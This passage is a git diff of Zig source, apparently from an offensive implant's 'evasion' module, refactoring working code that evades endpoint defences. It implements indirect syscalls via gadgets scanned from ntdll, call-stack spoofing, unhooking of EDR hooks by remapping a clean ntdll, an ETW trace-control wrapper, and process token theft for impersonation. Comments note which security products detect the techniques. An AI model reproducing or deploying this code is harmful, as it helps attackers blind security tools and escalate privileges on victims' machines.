g_ntdll_base != null) return true; const ntdll_hash = resolve.hash_ror13("ntdll.dll"); g_ntdll_base = resolve.get_module_by_hash(ntdll_hash); if (g_ntdll_base == null) return false; - // Seed PRNG from stack address ^ tick count var stack_var: u64 = 0; g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| { - const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p)); + const GetTickCount64 = @as(*const fn () callconv(nt.WINAPI) u64, @ptrCast(p)); g_rand_state ^= GetTickCount64(); } - // Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section - const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?)); - const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); + const base_addr = g_ntdll_base.?; + const base_bytes: [*]const u8 = @ptrCast(base_addr); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes)); if (dos.e_magic != 0x5A4D) return false; - const NT_SIGNATURE: u32 = 0x00004550; - const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); - if (nt.Signature != NT_SIGNATURE) return false; - g_ntdll_size = nt.OptionalHeader.SizeOfImage; + + const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_hdrs.Signature != 0x00004550) return false; + g_ntdll_size = nt_hdrs.OptionalHeader.SizeOfImage; g_syscall_count = 0; - // Walk section headers to find .text and .pdata bounds - { - const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240)); - const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start)); - var text_va: usize = 0; - var text_size: usize = 0; - for (0..nt.FileHeader.NumberOfSections) |si| { - const sec = §ions[si]; - if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) { - text_va = sec.VirtualAddress; - text_size = sec.VirtualSize; - } - if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') { - g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress); - g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION); - } - } - if (text_va == 0 or text_size == 0) return false; + const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); + const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast( + @as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off, + )); - // Scan .text for syscall;ret (0F 05 C3) gadgets - var j: usize = text_va; - const scan_end: usize = text_va + text_size; - while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { - if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { - g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); - g_syscall_count += 1; - } - // Find standalone ret (0xC3) not part of syscall;ret for callstack spoof - if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { - if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { - g_fake_return_addr = @intFromPtr(&base_bytes[j]); - } + var text_va: usize = 0; + var text_size: usize = 0; + for (0..nt_hdrs.FileHeader.NumberOfSections) |si| { + const sec = §ions[si]; + if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) { + text_va = sec.VirtualAddress; + text_size = sec.VirtualSize; + } + if (std.mem.eql(u8, sec.Name[0..6], ".pdata") and sec.Name[6] == 0) + { + g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(base_addr)) + sec.VirtualAddress); + g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION); + } + } + if (text_va == 0 or text_size == 0) return false; + + var j: usize = text_va; + const scan_end: usize = text_va + text_size; + while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { + if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { + g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); + g_syscall_count += 1; + } + if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { + if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { + g_fake_return_addr = @intFromPtr(&base_bytes[j]); } } } if (g_syscall_count == 0) return false; - // Build FreshyCalls table build_freshy_table(); g_init_done = true; return true; } -// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub. pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize { const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001); const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; const gadget = g_syscall_addrs[idx]; - // Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames. - // Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push. const fake: usize = if (arg_count < 5) g_fake_return_addr else 0; hells_gate(@as(u32, ssn), gadget, fake); const a = [11]usize{ @@ -272,87 +248,82 @@ pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) u return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]); } -fn ntstatus(r: usize) win.NTSTATUS { - return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r)))); +fn ntstatus(r: usize) windows.NTSTATUS { + return @enumFromInt(@as(u32, @truncate(r))); } -// --------- NT API wrappers --------- -// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash. +// ---- NT API wrappers ---- +// Ref: https://ntdoc.m417z.com -// Standard sleep syscall. -pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS { - const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) }; +// https://ntdoc.m417z.com/ntdelayexecution +pub fn nt_delay_execution(alertable: windows.BOOLEAN, interval: *const windows.LARGE_INTEGER) windows.NTSTATUS { + const args = [_]usize{ @as(usize, @intFromEnum(alertable)), @intFromPtr(interval) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2)); } -// Sets thread properties (hide from debugger, etc). -pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS { +// https://ntdoc.m417z.com/ntsetinformationthread +pub fn nt_set_information_thread(thread_handle: windows.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4)); } -// Closes a handle. -pub fn nt_close(handle: win.HANDLE) win.NTSTATUS { +// https://ntdoc.m417z.com/ntclose +pub fn nt_close(handle: windows.HANDLE) windows.NTSTATUS { const args = [_]usize{@intFromPtr(handle)}; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1)); } -// Pseudo-handles: no need to open, just use these constants -pub fn nt_current_process() win.HANDLE { - return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); +pub fn nt_current_process() windows.HANDLE { + return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); } -pub fn nt_current_thread() win.HANDLE { - return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); +pub fn nt_current_thread() windows.HANDLE { + return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); } -// Opens a handle to another process by PID. -pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS { +// https://ntdoc.m417z.com/ntopenprocess +pub fn nt_open_process(process_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *const nt.OBJECT_ATTRIBUTES, client_id: *const nt.CLIENT_ID) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4)); } -// Changes page protection. -pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS { +// https://ntdoc.m417z.com/ntprotectvirtualmemory +pub fn nt_protect_virtual_memory(process_handle: windows.HANDLE, base_address: *?*anyopaque, region_size: *windows.SIZE_T, new_protect: windows.ULONG, old_protect: *windows.ULONG) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5)); } -// Controls ETW tracing sessions. Used to stop EDR provider GUIDs. -pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS { +// https://ntdoc.m417z.com/nttracecontrol +pub fn nt_trace_control(code: windows.ULONG, input: ?*anyopaque, input_len: windows.ULONG, output: ?*anyopaque, output_len: windows.ULONG, ret_len: *windows.ULONG) windows.NTSTATUS { const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6)); } -// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll. -// Ref: https://ntdoc.m417z.com/ntopensection -pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS { +// https://ntdoc.m417z.com/ntopensection +pub fn nt_open_section(section_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *nt.OBJECT_ATTRIBUTES) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3)); } -// Maps a view of a section into the virtual address space of a process. -// Ref: https://ntdoc.m417z.com/ntmapviewofsection -pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { +// https://ntdoc.m417z.com/ntmapviewofsection +pub fn nt_map_view_of_section(section_handle: windows.HANDLE, process_handle: windows.HANDLE, base_address: *?*anyopaque, zero_bits: windows.ULONG_PTR, commit_size: windows.SIZE_T, section_offset: ?*windows.LARGE_INTEGER, view_size: *windows.SIZE_T, inherit_disposition: u32, allocation_type: windows.ULONG, protect: windows.ULONG) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10)); } -// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection -pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS { +// https://ntdoc.m417z.com/ntunmapviewofsection +pub fn nt_unmap_view_of_section(process_handle: windows.HANDLE, base_address: ?*anyopaque) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2)); } -// Opens the access token associated with a process. Used by token theft. -// Ref: https://ntdoc.m417z.com/ntopenprocesstoken -pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS { +// https://ntdoc.m417z.com/ntopenprocesstoken +pub fn nt_open_process_token(process_handle: windows.HANDLE, desired_access: windows.DWORD, token_handle: *windows.HANDLE) windows.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3)); } -// Duplicates a token handle. Used to create an impersonation token from a primary token. -// Ref: https://ntdoc.m417z.com/ntduplicatetoken -pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS { - const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) }; +// https://ntdoc.m417z.com/ntduplicatetoken +pub fn nt_duplicate_token(existing_token: windows.HANDLE, desired_access: windows.DWORD, object_attributes: ?*nt.OBJECT_ATTRIBUTES, effective_only: windows.BOOLEAN, token_type: windows.DWORD, new_token: *windows.HANDLE) windows.NTSTATUS { + const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, @intFromEnum(effective_only)), @as(usize, token_type), @intFromPtr(new_token) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6)); } diff --git a/evasion/token.zig b/evasion/token.zig index 0e2dfea..eb454c6 100644 --- a/evasion/token.zig +++ b/evasion/token.zig @@ -1,41 +1,44 @@ -// Token impersonation via indirect syscalls. const std = @import("std"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const syscall = @import("syscall.zig"); -const win = @import("win32.zig"); -const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum +const ThreadImpersonationToken: u32 = 5; pub fn stealToken(pid: u32) bool { - var cid = std.mem.zeroes(win.CLIENT_ID); + var cid = std.mem.zeroes(nt.CLIENT_ID); cid.UniqueProcess = @ptrFromInt(@as(usize, pid)); - var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); - oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); + var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES); + oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES); - var proc_handle: win.HANDLE = undefined; - if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid))) + var proc_handle: windows.HANDLE = undefined; + if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid))) return false; defer _ = syscall.nt_close(proc_handle); - var token_handle: win.HANDLE = undefined; - if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle))) - return false; + var token_handle: windows.HANDLE = undefined; + if (!nt.NT_SUCCESS(syscall.nt_open_process_token( + proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle, + ))) return false; defer _ = syscall.nt_close(token_handle); - var dup_token: win.HANDLE = undefined; - if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token))) - return false; + var dup_token: windows.HANDLE = undefined; + if (!nt.NT_SUCCESS(syscall.nt_duplicate_token( + token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token, + ))) return false; defer _ = syscall.nt_close(dup_token); - return win.NT_SUCCESS(syscall.nt_set_information_thread( + return nt.NT_SUCCESS(syscall.nt_set_information_thread( syscall.nt_current_thread(), ThreadImpersonationToken, @ptrCast(&dup_token), - @sizeOf(win.HANDLE), + @sizeOf(windows.HANDLE), )); } +// Revert to process token by setting ThreadImpersonationToken to NULL. pub fn rev2self() bool { - return win.NT_SUCCESS(syscall.nt_set_information_thread( + return nt.NT_SUCCESS(syscall.nt_set_information_thread( syscall.nt_current_thread(), ThreadImpersonationToken, null, diff --git a/evasion/unhook.zig b/evasion/unhook.zig index f8a9fef..7aae031 100644 --- a/evasion/unhook.zig +++ b/evasion/unhook.zig @@ -1,42 +1,36 @@ -// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks. -// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which -// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred. const std = @import("std"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const syscall = @import("syscall.zig"); const resolve = @import("resolve.zig"); -const win = @import("win32.zig"); +const pe = @import("pe.zig"); var g_unhooked: bool = false; +// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks. +// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which +// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred. pub fn unhookNtdll() void { if (g_unhooked) return; g_unhooked = true; const ntdll_hash = resolve.hash_ror13("ntdll.dll"); const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return; - const our_bytes = @as([*]u8, @ptrCast(our_base)); + const our_bytes: [*]u8 = @ptrCast(our_base); - const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes))); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes)); if (dos.e_magic != 0x5A4D) return; - const nt = @as(*align(1) extern struct { - Signature: u32, - FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, - OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 }, - }, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew))))); - if (nt.Signature != 0x00004550) return; + const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + our_bytes + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_hdrs.Signature != 0x00004550) return; var text_va: usize = 0; var text_size: usize = 0; - const section_off = dos.e_lfanew + 4 + 20 + 240; - const sections = @as([*]align(1) extern struct { - Name: [8]u8, - VirtualSize: u32, - VirtualAddress: u32, - pad: [20]u8, - Characteristics: u32, - }, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off)))); - for (0..nt.FileHeader.NumberOfSections) |i| { + const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); + const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off)); + for (0..nt_hdrs.FileHeader.NumberOfSections) |i| { if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) { text_va = sections[i].VirtualAddress; text_size = sections[i].VirtualSize; @@ -46,23 +40,23 @@ pub fn unhookNtdll() void { if (text_va == 0 or text_size == 0) return; const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 }; - var us: win.UNICODE_STRING = .{ - .Length = (@sizeOf(@TypeOf(name)) - 2), + var us: nt.UNICODE_STRING = .{ + .Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16), .MaximumLength = @sizeOf(@TypeOf(name)), .Buffer = @ptrCast(@constCast(&name)), }; - var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); - oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); + var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES); + oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES); oa.ObjectName = &us; - oa.Attributes = win.OBJ_CASE_INSENSITIVE; + oa.Attributes = nt.OBJ_CASE_INSENSITIVE; - var section_handle: win.HANDLE = undefined; - if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa))) + var section_handle: windows.HANDLE = undefined; + if (!nt.NT_SUCCESS(syscall.nt_open_section(§ion_handle, nt.SECTION_MAP_READ, &oa))) return; defer _ = syscall.nt_close(section_handle); var view_base: ?*anyopaque = null; - var view_size: win.SIZE_T = 0; + var view_size: windows.SIZE_T = 0; _ = syscall.nt_map_view_of_section( section_handle, syscall.nt_current_process(), @@ -71,23 +65,23 @@ pub fn unhookNtdll() void { 0, null, &view_size, - 2, // ViewUnmap = 2 + 2, 0, - win.PAGE_READONLY, + nt.PAGE_READONLY, ); if (view_base != null and view_size >= text_size) { - const clean_base = @as([*]u8, @ptrCast(view_base)); + const clean_base: [*]const u8 = @ptrCast(view_base); const our_text = our_bytes[text_va .. text_va + text_size]; - var region_size: win.SIZE_T = text_size; - var old_prot: win.DWORD = 0; + var region_size: windows.SIZE_T = text_size; + var old_prot: windows.DWORD = 0; var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]); - if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory( + if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &base_ptr, ®ion_size, - win.PAGE_READWRITE, + nt.PAGE_READWRITE, &old_prot, ))) return; @@ -99,7 +93,7 @@ pub fn unhookNtdll() void { syscall.nt_current_process(), &base_ptr, ®ion_size, - win.PAGE_EXECUTE_READ, + nt.PAGE_EXECUTE_READ, &old_prot, ); } diff --git a/evasion/win32.zig b/evasion/win32.zig deleted file mode 100644 index ab9a037..0000000 --- a/evasion/win32.zig +++ /dev/null @@ -1,469 +0,0 @@ -// Win32 type aliases, constants, and struct definitions. -const std = @import("std"); - -pub const WINAPI = std.builtin.CallingConvention.winapi; - -pub const CHAR = i8; -pub const UCHAR = u8; -pub const BYTE = u8; -pub const WORD = u16; -pub const WCHAR = u16; -pub const SHORT = i16; -pub const INT = i32; -pub const UINT = u32; -pub const LONG = i32; -pub const DWORD = u32; -pub const DWORD64 = u64; -pub const ULONG = u32; -pub const LONGLONG = i64; -pub const ULONGLONG = u64; -pub const BOOL = i32; -pub const BOOLEAN = u8; -pub const NTSTATUS = i32; -pub const HRESULT = i32; -pub const SIZE_T = usize; -pub const DWORD_PTR = usize; -pub const UINT_PTR = usize; -pub const ULONG_PTR = usize; -pub const LONG_PTR = isize; -pub const LARGE_INTEGER = i64; -pub const INTERNET_PORT = u16; - -pub const LPVOID = *anyopaque; -pub const LPCVOID = *const anyopaque; -pub const HANDLE = *anyopaque; -pub const PHANDLE = *HANDLE; -pub const HMODULE = *anyopaque; -pub const HINSTANCE = *anyopaque; -pub const HINTERNET = *anyopaque; - -pub const LPSTR = [*:0]u8; -pub const LPCSTR = [*:0]const u8; -pub const LPWSTR = [*:0]u16; -pub const LPCWSTR = [*:0]const u16; - -pub const PDWORD = *DWORD; -pub const PULONG = *ULONG; -pub const PSIZE_T = *SIZE_T; -pub const PBOOL = *BOOL; - -pub const FARPROC = *const fn () callconv(WINAPI) isize; - -pub inline fn NT_SUCCESS(status: NTSTATUS) bool { - return status >= 0; -} - -pub const MEM_COMMIT: ULONG = 0x00001000; -pub const MEM_RESERVE: ULONG = 0x00002000; -pub const MEM_RELEASE: ULONG = 0x00008000; - -pub const PAGE_NOACCESS: ULONG = 0x01; -pub const PAGE_READONLY: ULONG = 0x02; -pub const PAGE_READWRITE: ULONG = 0x04; -pub const DLL_PROCESS_ATTACH: ULONG = 1; -pub const PAGE_EXECUTE: ULONG = 0x10; -pub const PAGE_EXECUTE_READ: ULONG = 0x20; -pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40; - -pub const CONTEXT_AMD64: DWORD = 0x00100000; -pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010 - -pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004; -pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1; -pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0; - -// process/startup constants + structures -pub const STARTF_USESTDHANDLES: DWORD = 0x00000100; - -pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000; -pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000; - -pub const STARTUPINFOEXA = extern struct { - StartupInfo: STARTUPINFOA, - lpAttributeList: ?*anyopaque, -}; - -pub const CREATE_NO_WINDOW: DWORD = 0x08000000; - -// Section access rights for NtOpenSection / NtMapViewOfSection -pub const SECTION_MAP_READ: DWORD = 0x0004; -pub const SECTION_MAP_WRITE: DWORD = 0x0002; -pub const SECTION_MAP_EXECUTE: DWORD = 0x0008; - -pub const PROCESS_QUERY_INFORMATION: DWORD = 0x0400; -pub const PROCESS_QUERY_LIMITED_INFORMATION: DWORD = 0x1000; -pub const PROCESS_CREATE_PROCESS: DWORD = 0x0080; -pub const MAXIMUM_ALLOWED: DWORD = 0x02000000; - -// Object attribute flags -pub const OBJ_CASE_INSENSITIVE: ULONG = 0x00000040; - -pub const MAX_PATH: usize = 260; - -pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000; -pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0; -pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3; -pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000; -pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133; -pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1; - -pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) { - BINARY_MESSAGE = 0, - BINARY_FRAGMENT = 1, - UTF8_MESSAGE = 2, - UTF8_FRAGMENT = 3, - CLOSE = 4, -}; - -pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; -pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2; -pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; - -pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000; -pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; -pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002; -pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003; -pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; -pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005; -pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006; -pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007; -pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008; -pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009; - -pub const COFF_SECT_EXEC: u32 = 0x20000000; -pub const COFF_SECT_WRITE: u32 = 0x80000000; -pub const COFF_SECT_DATA: u32 = 0x40000000; - -pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' }; -pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' }; -pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' }; -pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002; - -pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' }; -pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' }; -pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3)); - -pub const AES_KEY_SIZE: usize = 32; -pub const GCM_NONCE_SIZE: usize = 12; -pub const GCM_TAG_SIZE: usize = 16; - -pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void { - info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO); - info.dwInfoVersion = 1; - info.pbNonce = 